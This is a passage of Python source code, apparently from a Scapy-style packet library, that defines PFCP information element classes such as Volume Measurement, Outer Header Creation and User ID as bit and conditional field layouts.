1),\n        BitField(\"AURL\", 0, 1),\n        BitField(\"AFD\", 0, 1),\n        BitField(\"DNP\", 0, 1),\n        BitField(\"CP\", 0, 1),\n        BitField(\"DN\", 0, 1),\n        BitField(\"URL\", 0, 1),\n        BitField(\"FD\", 0, 1),\n        ByteField(\"spare_2\", 0),\n        ConditionalField(FieldLenField(\"flow_length\", None, length_of=\"flow\"),\n                         lambda pkt: pkt.FD == 1),\n        ConditionalField(StrLenField(\"flow\", \"\",\n                                     length_from=lambda pkt: pkt.flow_length),\n                         lambda pkt: pkt.FD == 1),\n        ConditionalField(FieldLenField(\"url_length\", None, length_of=\"url\"),\n                         lambda pkt: pkt.URL == 1),\n        ConditionalField(StrLenField(\"url\", \"\",\n                                     length_from=lambda pkt: pkt.url_length),\n                         lambda pkt: pkt.URL == 1),\n        ConditionalField(FieldLenField(\"domain_length\", None,\n                                       length_of=\"domain\"),\n                         lambda pkt: pkt.DN == 1),\n        ConditionalField(\n            StrLenField(\"domain\", \"\",\n                        length_from=lambda pkt: pkt.domain_length),\n            lambda pkt: pkt.DN == 1),\n        ConditionalField(FieldLenField(\"custom_length\", None,\n                                       length_of=\"custom\"),\n                         lambda pkt: pkt.CP == 1),\n        ConditionalField(\n            StrLenField(\"custom\", \"\",\n                        length_from=lambda pkt: pkt.custom_length),\n            lambda pkt: pkt.CP == 1),\n        ConditionalField(FieldLenField(\"dnp_length\", None, length_of=\"dnp\"),\n                         lambda pkt: pkt.DNP == 1),\n        ConditionalField(StrLenField(\"dnp\", \"\",\n                                     length_from=lambda pkt: pkt.dnp_length),\n                         lambda pkt: pkt.DNP == 1),\n        ConditionalField(FieldLenField(\"additional_flow_length\", None,\n                                       length_of=\"additional_flow\"),\n                         lambda pkt: pkt.AFD == 1),\n        ConditionalField(\n            StrLenField(\"additional_flow\", \"\",\n                        length_from=lambda pkt: pkt.additional_flow_length),\n            lambda pkt: pkt.AFD == 1),\n        ConditionalField(FieldLenField(\"additional_url_length\", None,\n                                       length_of=\"additional_url\"),\n                         lambda pkt: pkt.AURL == 1),\n        ConditionalField(\n            StrLenField(\"additional_url\", \"\",\n                        length_from=lambda pkt: pkt.additional_url_length),\n            lambda pkt: pkt.AURL == 1),\n        ConditionalField(\n            FieldLenField(\"additional_dn_dnp_length\", None,\n                          length_of=\"additional_dn_dnp\"),\n            lambda pkt: pkt.ADNP == 1),\n        ConditionalField(\n            StrLenField(\"additional_dn_dnp\", \"\",\n                        length_from=lambda pkt: pkt.additional_dn_dnp_length),\n            lambda pkt: pkt.ADNP == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MeasurementMethod(IE_Base):\n    name = \"IE Measurement Method\"\n    ie_type = 62\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"EVENT\", 0, 1),\n        BitField(\"VOLUM\", 0, 1),\n        BitField(\"DURAT\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UsageReportTrigger(IE_Base):\n    name = \"IE Usage Report Trigger\"\n    ie_type = 63\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"IMMER\", 0, 1),\n        BitField(\"DROTH\", 0, 1),\n        BitField(\"STOPT\", 0, 1),\n        BitField(\"START\", 0, 1),\n        BitField(\"QUHTI\", 0, 1),\n        BitField(\"TIMTH\", 0, 1),\n        BitField(\"VOLTH\", 0, 1),\n        BitField(\"PERIO\", 0, 1),\n        BitField(\"EVETH\", 0, 1),\n        BitField(\"MACAR\", 0, 1),\n        BitField(\"ENVCL\", 0, 1),\n        BitField(\"MONIT\", 0, 1),\n        BitField(\"TERMR\", 0, 1),\n        BitField(\"LIUSA\", 0, 1),\n        BitField(\"TIMQU\", 0, 1),\n        BitField(\"VOLQU\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MeasurementPeriod(IE_Base):\n    name = \"IE Measurement Period\"\n    ie_type = 64\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"period\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_FqCSID(IE_Base):\n    name = \"IE FQ-CSID\"\n    ie_type = 65\n    fields_desc = IE_Base.fields_desc + [\n        BitEnumField(\"node_id_type\", \"IPv4\", 4, FqCSIDNodeIdType),\n        BitFieldLenField(\"num_csids\", None, 4, count_of=\"csids\"),\n        ConditionalField(IPField(\"ipv4\", 0),\n                         lambda x: x.node_id_type == 0),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x: x.node_id_type == 1),\n        ConditionalField(\n            # FIXME: split (value = mcc * 1000 + mnc)\n            BitField(\"mcc_mnc\", 0, 20),\n            lambda x: x.node_id_type == 2),\n        # \"Least significant 12 bits is a 12 bit integer assigned by\n        # an operator to an MME, SGW-C, SGW-U, PGW-C or PGW-U.\"\n        ConditionalField(\n            BitField(\"extra_id\", 0, 12),\n            lambda x: x.node_id_type == 2),\n        FieldListField(\"csids\", None, ShortField(\"csid\", 0),\n                       count_from=lambda x: x.num_csids),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_VolumeMeasurement(IE_Base):\n    name = \"IE Volume Measurement\"\n    ie_type = 66\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"DLVOL\", 0, 1),\n        BitField(\"ULVOL\", 0, 1),\n        BitField(\"TOVOL\", 0, 1),\n        ConditionalField(XLongField(\"total\", 0), lambda x: x.TOVOL == 1),\n        ConditionalField(XLongField(\"uplink\", 0), lambda x: x.ULVOL == 1),\n        ConditionalField(XLongField(\"downlink\", 0), lambda x: x.DLVOL == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DurationMeasurement(IE_Base):\n    name = \"IE Duration Measurement\"\n    ie_type = 67\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"duration\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TimeOfFirstPacket(IE_Base):\n    name = \"IE Time of First Packet\"\n    ie_type = 69\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TimeOfLastPacket(IE_Base):\n    name = \"IE Time of Last Packet\"\n    ie_type = 70\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_QuotaHoldingTime(IE_Base):\n    name = \"IE Quota Holding Time\"\n    ie_type = 71\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"time_value\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DroppedDLTrafficThreshold(IE_Base):\n    name = \"IE Dropped DL Traffic Threshold\"\n    ie_type = 72\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 6),\n        BitField(\"DLBY\", 0, 1),\n        BitField(\"DLPA\", 0, 1),\n        ConditionalField(LongField(\"packet_count\", 0),\n                         lambda x: x.DLPA == 1),\n        ConditionalField(LongField(\"byte_count\", 0),\n                         lambda x: x.DLBY == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_VolumeQuota(IE_Base):\n    name = \"IE Volume Quota\"\n    ie_type = 73\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"DLVOL\", 0, 1),\n        BitField(\"ULVOL\", 0, 1),\n        BitField(\"TOVOL\", 0, 1),\n        ConditionalField(XLongField(\"total\", 0), lambda x: x.TOVOL == 1),\n        ConditionalField(XLongField(\"uplink\", 0), lambda x: x.ULVOL == 1),\n        ConditionalField(XLongField(\"downlink\", 0), lambda x: x.DLVOL == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TimeQuota(IE_Base):\n    name = \"IE Time Quota\"\n    ie_type = 74\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"quota\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_StartTime(IE_Base):\n    name = \"IE Start Time\"\n    ie_type = 75\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EndTime(IE_Base):\n    name = \"IE End Time\"\n    ie_type = 76\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_URR_Id(IE_Base):\n    name = \"IE URR ID\"\n    ie_type = 81\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_LinkedURR_Id(IE_Base):\n    name = \"IE Linked URR ID\"\n    ie_type = 82\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_OuterHeaderCreation(IE_Base):\n    name = \"IE Outer Header Creation\"\n    ie_type = 84\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"STAG\", 0, 1),\n        BitField(\"CTAG\", 0, 1),\n        BitField(\"IPV6\", 0, 1),\n        BitField(\"IPV4\", 0, 1),\n        BitField(\"UDPIPV6\", 0, 1),\n        BitField(\"UDPIPV4\", 0, 1),\n        BitField(\"GTPUUDPIPV6\", 0, 1),\n        BitField(\"GTPUUDPIPV4\", 0, 1),\n        ByteField(\"spare\", 0),\n        ConditionalField(XIntField(\"TEID\", 0),\n                         lambda x: x.GTPUUDPIPV4 == 1 or x.GTPUUDPIPV6 == 1),\n        ConditionalField(IPField(\"ipv4\", 0),\n                         lambda x:\n                         x.IPV4 == 1 or x.UDPIPV4 == 1 or x.GTPUUDPIPV4 == 1),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x:\n                         x.IPV6 == 1 or x.UDPIPV6 == 1 or x.GTPUUDPIPV6 == 1),\n        ConditionalField(ShortField(\"port\", 0),\n                         lambda x: x.UDPIPV4 == 1 or x.UDPIPV6 == 1),\n        ConditionalField(ThreeBytesField(\"ctag\", 0),\n                         lambda x: x.CTAG == 1),\n        ConditionalField(ThreeBytesField(\"stag\", 0),\n                         lambda x: x.STAG == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_BAR_Id(IE_Base):\n    name = \"IE BAR ID\"\n    ie_type = 88\n    fields_desc = IE_Base.fields_desc + [\n        ByteField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_CPFunctionFeatures(IE_Base):\n    name = \"IE CP Function Features\"\n    ie_type = 89\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 6),\n        BitField(\"OVRL\", 0, 1),\n        BitField(\"LOAD\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UsageInformation(IE_Base):\n    name = \"IE Usage Information\"\n    ie_type = 90\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitField(\"UBE\", 0, 1),\n        BitField(\"UAE\", 0, 1),\n        BitField(\"AFT\", 0, 1),\n        BitField(\"BEF\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_ApplicationInstanceId(IE_Base):\n    name = \"IE Application Instance ID\"\n    ie_type = 91\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"id\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_FlowInformation(IE_Base):\n    name = \"IE Flow Information\"\n    ie_type = 92\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitEnumField(\"direction\", \"Unspecified\", 3, FlowDirection),\n        FieldLenField(\"flow_length\", None, length_of=\"flow\"),\n        StrLenField(\"flow\", \"\", length_from=lambda x: x.flow_length),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UE_IP_Address(IE_Base):\n    name = \"IE UE IP Address\"\n    ie_type = 93\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"SD\", 0, 1),  # source or dest\n        BitField(\"V4\", 0, 1),\n        BitField(\"V6\", 0, 1),\n        ConditionalField(IPField(\"ipv4\", 0), lambda x: x.V4 == 1),\n        ConditionalField(IP6Field(\"ipv6\", 0), lambda x: x.V6 == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PacketRate(IE_Base):\n    name = \"IE Packet Rate\"\n    ie_type = 94\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 6),\n        BitField(\"DLPR\", 0, 1),\n        BitField(\"ULPR\", 0, 1),\n        ConditionalField(BitField(\"spare_2\", 0, 5), lambda x: x.ULPR == 1),\n        ConditionalField(BitEnumField(\"ul_time_unit\", \"minute\", 3, TimeUnit),\n                         lambda x: x.ULPR == 1),\n        ConditionalField(ShortField(\"ul_max_packet_rate\", 0),\n                         lambda x: x.ULPR == 1),\n        ConditionalField(BitField(\"spare_3\", 0, 5), lambda x: x.DLPR == 1),\n        ConditionalField(BitEnumField(\"dl_time_unit\", \"minute\", 3, TimeUnit),\n                         lambda x: x.DLPR == 1),\n        ConditionalField(ShortField(\"dl_max_packet_rate\", 0),\n                         lambda x: x.DLPR == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_OuterHeaderRemoval(IE_Base):\n    name = \"IE Outer Header Removal\"\n    ie_type = 95\n    fields_desc = IE_Base.fields_desc + [\n        ByteEnumField(\"header\", None, OuterHeaderRemovalDescription),\n        ConditionalField(XBitField(\"spare\", None, 7),\n                         lambda x: x.length is not None and x.length > 1),\n        ConditionalField(BitField(\"pdu_session_container\", None, 1),\n                         lambda x: x.length is not None and x.length > 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_RecoveryTimeStamp(IE_Base):\n    name = \"IE Recovery Time Stamp\"\n    ie_type = 96\n    default_length = 4\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DLFlowLevelMarking(IE_Base):\n    name = \"IE DL Flow Level Marking\"\n    ie_type = 97\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 6),\n        BitField(\"SCI\", 0, 1),\n        BitField(\"TTC\", 0, 1),\n        ConditionalField(ByteField(\"traffic_class\", 0), lambda x: x.TTC),\n        ConditionalField(ByteField(\"traffic_class_mask\", 0), lambda x: x.TTC),\n        ConditionalField(ByteField(\"service_class_indicator\", 0),\n                         lambda x: x.SCI),\n        ConditionalField(ByteField(\"spare_2\", 0), lambda x: x.SCI),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_HeaderEnrichment(IE_Base):\n    name = \"IE Header Enrichment\"\n    ie_type = 98\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 3),\n        BitEnumField(\"header_type\", \"HTTP\", 5, HeaderType),\n        FieldLenField(\"name_length\", None, fmt=\"B\", length_of=\"name\"),\n        StrLenField(\"name\", \"\", length_from=lambda x: x.name_length),\n        FieldLenField(\"value_length\", None, fmt=\"B\", length_of=\"value\"),\n        StrLenField(\"value\", \"\", length_from=lambda x: x.value_length),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MeasurementInformation(IE_Base):\n    name = \"IE Measurement Information\"\n    ie_type = 100\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 3),\n        BitField(\"MNOP\", 0, 1),\n        BitField(\"ISTM\", 0, 1),\n        BitField(\"RADI\", 0, 1),\n        BitField(\"INAM\", 0, 1),\n        BitField(\"MBQE\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_NodeReportType(IE_Base):\n    name = \"IE Node Report Type\"\n    ie_type = 101\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 7),\n        BitField(\"UPFR\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_RemoteGTP_U_Peer(IE_Base):\n    name = \"IE Remote GTP-U Peer\"\n    ie_type = 103\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 4),\n        BitField(\"NI\", 0, 1),\n        BitField(\"DI\", 0, 1),\n        BitField(\"V4\", 0, 1),\n        BitField(\"V6\", 0, 1),\n        ConditionalField(IPField(\"ipv4\", 0), lambda x: x.V4 == 1),\n        ConditionalField(IP6Field(\"ipv6\", 0), lambda x: x.V6 == 1),\n        ConditionalField(ByteField(\"dest_interface_length\", 1),\n                         lambda x: x.DI == 1),\n        ConditionalField(XBitField(\"spare_2\", 0, 4), lambda x: x.DI == 1),\n        ConditionalField(\n            BitEnumField(\"dest_interface\", \"Access\", 4, DestinationInterface),\n            lambda x: x.DI == 1),\n        ConditionalField(\n            FieldLenField(\"network_instance_length\", 1,\n                          length_of=\"network_instance\"),\n            lambda x: x.NI == 1),\n        ConditionalField(\n            APNStrLenField(\"network_instance\", \"\",\n                           length_from=lambda x: x.network_instance_length),\n            lambda x: x.NI == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UR_SEQN(IE_Base):\n    name = \"IE UR-SEQN\"\n    ie_type = 104\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"number\", 0),\n    ]\n\n\nclass IE_ActivatePredefinedRules(IE_Base):\n    name = \"IE Activate Predefined Rules\"\n    ie_type = 106\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"name\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_DeactivatePredefinedRules(IE_Base):\n    name = \"IE Deactivate Predefined Rules\"\n    ie_type = 107\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"name\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_FAR_Id(IE_Base):\n    name = \"IE FAR ID\"\n    ie_type = 108\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_QER_Id(IE_Base):\n    name = \"IE QER ID\"\n    ie_type = 109\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_OCIFlags(IE_Base):\n    name = \"IE OCI Flags\"\n    ie_type = 110\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 7),\n        BitField(\"AOCI\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PFCPAssociationReleaseRequest(IE_Base):\n    name = \"IE PFCP Association Release Request\"\n    ie_type = 111\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 7),\n        BitField(\"SARR\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_GracefulReleasePeriod(IE_Base):\n    name = \"IE Graceful Release Period\"\n    ie_type = 112\n    fields_desc = IE_Base.fields_desc + [\n        BitEnumField(\"release_timer_unit\", \"2 seconds\", 3, TimerUnit),\n        BitField(\"release_timer_value\", 0, 5),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PDNType(IE_Base):\n    name = \"IE PDN Type\"\n    ie_type = 113\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitEnumField(\"pdn_type\", \"IPv4\", 3, PDNType),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_FailedRuleId(IE_Base):\n    name = \"IE Failed Rule ID\"\n    ie_type = 114\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 3),\n        BitEnumField(\"type\", \"PDR\", 5, RuleIDType),\n        ConditionalField(ShortField(\"pdr_id\", 0),\n                         lambda x: x.type == 0),\n        ConditionalField(IntField(\"far_id\", 0),\n                         lambda x: x.type == 1 or x.type > 4),\n        ConditionalField(IntField(\"qer_id\", 0), lambda x: x.type == 2),\n        ConditionalField(IntField(\"urr_id\", 0), lambda x: x.type == 3),\n        ConditionalField(ByteField(\"bar_id\", 0),\n                         lambda x: x.type == 4),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TimeQuotaMechanism(IE_Base):\n    name = \"IE Time Quota Mechanism\"\n    ie_type = 115\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 6),\n        BitEnumField(\"base_time_interval_type\", \"CTP\", 2, BaseTimeInterval),\n        IntField(\"interval\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UserPlaneIPResourceInformation(IE_Base):\n    name = \"IE User Plane IP Resource Information\"\n    ie_type = 116\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare1\", 0, 1),\n        BitField(\"ASSOSI\", 0, 1),\n        BitField(\"ASSONI\", 0, 1),\n        BitField(\"TEIDRI\", 0, 3),\n        BitField(\"V6\", 0, 1),\n        BitField(\"V4\", 0, 1),\n        ConditionalField(XByteField(\"teid_range\", 0), lambda x: x.TEIDRI != 0),\n        ConditionalField(IPField(\"ipv4\", 0), lambda x: x.V4 == 1),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x: x.V6 == 1),\n        ConditionalField(\n            APNStrLenField(\"network_instance\", \"\",\n                           length_from=lambda x:\n                           x.length - 1 - (1 if x.TEIDRI != 0 else 0) -\n                           (x.V4 * 4) - (x.V6 * 16) - x.ASSOSI),\n            lambda x: x.ASSONI == 1),\n        ConditionalField(\n            XBitField(\"spare2\", None, 4),\n            lambda x: x.ASSOSI == 1),\n        ConditionalField(\n            BitEnumField(\"interface\", \"Access\", 4, SourceInterface),\n            lambda x: x.ASSOSI == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UserPlaneInactivityTimer(IE_Base):\n    name = \"IE User Plane Inactivity Timer\"\n    ie_type = 117\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timer\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_Multiplier(IE_Base):\n    name = \"IE Multiplier\"\n    ie_type = 119\n    fields_desc = IE_Base.fields_desc + [\n        SignedLongField(\"digits\", 0),\n        SignedIntField(\"exponent\", 0),\n    ]\n\n\nclass IE_AggregatedURR_Id(IE_Base):\n    name = \"IE Aggregated URR ID\"\n    ie_type = 120\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n    ]\n\n\nclass IE_SubsequentVolumeQuota(IE_Base):\n    name = \"IE Subsequent Volume Quota\"\n    ie_type = 121\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"DLVOL\", 0, 1),\n        BitField(\"ULVOL\", 0, 1),\n        BitField(\"TOVOL\", 0, 1),\n        ConditionalField(XLongField(\"total\", 0), lambda x: x.TOVOL == 1),\n        ConditionalField(XLongField(\"uplink\", 0), lambda x: x.ULVOL == 1),\n        ConditionalField(XLongField(\"downlink\", 0), lambda x: x.DLVOL == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SubsequentTimeQuota(IE_Base):\n    name = \"IE Subsequent Time Quota\"\n    ie_type = 122\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"quota\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_RQI(IE_Base):\n    name = \"IE RQI\"\n    ie_type = 123\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 7),\n        BitField(\"RQI\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_QFI(IE_Base):\n    name = \"IE QFI\"\n    ie_type = 124\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 2),\n        BitField(\"QFI\", 0, 6),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_QueryURRReference(IE_Base):\n    name = \"IE Query URR Reference\"\n    ie_type = 125\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"reference\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_AdditionalUsageReportsInformation(IE_Base):\n    name = \"IE Additional Usage Reports Information\"\n    ie_type = 126\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"AURI\", 0, 1),\n        BitField(\"reports\", 0, 15),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TrafficEndpointId(IE_Base):\n    name = \"IE Traffic Endpoint ID\"\n    ie_type = 131\n    fields_desc = IE_Base.fields_desc + [\n        ByteField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MACAddress(IE_Base):\n    name = \"IE MAC Address\"\n    ie_type = 133\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitField(\"UDES\", 0, 1),\n        BitField(\"USOU\", 0, 1),\n        BitField(\"DEST\", 0, 1),\n        BitField(\"SOUR\", 0, 1),\n        ConditionalField(MACField(\"source_mac\", 0),\n                         lambda x: x.SOUR == 1),\n        ConditionalField(MACField(\"destination_mac\", 0),\n                         lambda x: x.DEST == 1),\n        ConditionalField(MACField(\"upper_source_mac\", 0),\n                         lambda x: x.USOU == 1),\n        ConditionalField(MACField(\"upper_destination_mac\", 0),\n                         lambda x: x.UDES == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_C_TAG(IE_Base):\n    name = \"IE C-TAG\"\n    ie_type = 134\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 5),\n        BitField(\"VID\", 0, 1),\n        BitField(\"DEI\", 0, 1),\n        BitField(\"PCP\", 0, 1),\n        # TODO: fix cvid_value\n        ConditionalField(\n            BitField(\"cvid_value_hi\", 0, 4), lambda x: x.VID == 1),\n        ConditionalField(BitField(\"spare_2\", 0, 4), lambda x: x.VID == 0),\n        ConditionalField(BitField(\"dei_flag\", 0, 1), lambda x: x.DEI == 1),\n        ConditionalField(BitField(\"spare_3\", 0, 1), lambda x: x.DEI == 0),\n        ConditionalField(BitField(\"pcp_value\", 0, 3), lambda x: x.PCP == 1),\n        ConditionalField(BitField(\"spare_4\", 0, 3), lambda x: x.PCP == 0),\n        ConditionalField(ByteField(\"cvid_value_low\", 0),\n                         lambda x: x.VID == 1),\n        ConditionalField(ByteField(\"spare_5\", 0), lambda x: x.VID == 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_S_TAG(IE_Base):\n    name = \"IE S-TAG\"\n    ie_type = 135\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 5),\n        BitField(\"VID\", 0, 1),\n        BitField(\"DEI\", 0, 1),\n        BitField(\"PCP\", 0, 1),\n        # TODO: fix svid_value\n        ConditionalField(BitField(\"svid_value_hi\", 0, 4),\n                         lambda x: x.VID == 1),\n        ConditionalField(BitField(\"spare_2\", 0, 4), lambda x: x.VID == 0),\n        ConditionalField(BitField(\"dei_flag\", 0, 1), lambda x: x.DEI == 1),\n        ConditionalField(BitField(\"spare_3\", 0, 1), lambda x: x.DEI == 0),\n        ConditionalField(BitField(\"pcp_value\", 0, 3), lambda x: x.PCP == 1),\n        ConditionalField(BitField(\"spare_4\", 0, 3), lambda x: x.PCP == 0),\n        ConditionalField(ByteField(\"svid_value_low\", 0),\n                         lambda x: x.VID == 1),\n        ConditionalField(ByteField(\"spare_5\", 0), lambda x: x.VID == 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_Ethertype(IE_Base):\n    name = \"IE Ethertype\"\n    ie_type = 136\n    fields_desc = IE_Base.fields_desc + [\n        ShortField(\"type\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_Proxying(IE_Base):\n    name = \"IE Proxying\"\n    ie_type = 137\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 6),\n        BitField(\"INS\", 0, 1),\n        BitField(\"ARP\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EthernetFilterId(IE_Base):\n    name = \"IE Ethernet Filter ID\"\n    ie_type = 138\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EthernetFilterProperties(IE_Base):\n    name = \"IE Ethernet Filter Properties\"\n    ie_type = 139\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 7),\n        BitField(\"BIDE\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SuggestedBufferingPacketsCount(IE_Base):\n    name = \"IE Suggested Buffering Packets Count\"\n    ie_type = 140\n    fields_desc = IE_Base.fields_desc + [\n        ByteField(\"count\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UserId(IE_Base):\n    name = \"IE User ID\"\n    ie_type = 141\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitField(\"NAIF\", 0, 1),\n        BitField(\"MSISDNF\", 0, 1),\n        BitField(\"IMEIF\", 0, 1),\n        BitField(\"IMSIF\", 0, 1),\n        ConditionalField(\n            FieldLenField(\"imsi_length\", None, length_of=\"imsi\", fmt=\"B\"),\n            lambda x: x.IMSIF == 1),\n        ConditionalField(\n            StrLenField(\"imsi\", \"\", length_from=lambda x: x.imsi_length),\n            lambda x: x.IMSIF == 1),\n        ConditionalField(\n            FieldLenField(\"imei_length\", None, length_of=\"imei\", fmt=\"B\"),\n            lambda x: x.IMEIF == 1),\n        ConditionalField(\n            StrLenField(\"imei\", \"\", length_from=lambda x: x.imei_length),\n            lambda x: x.IMEIF == 1),\n        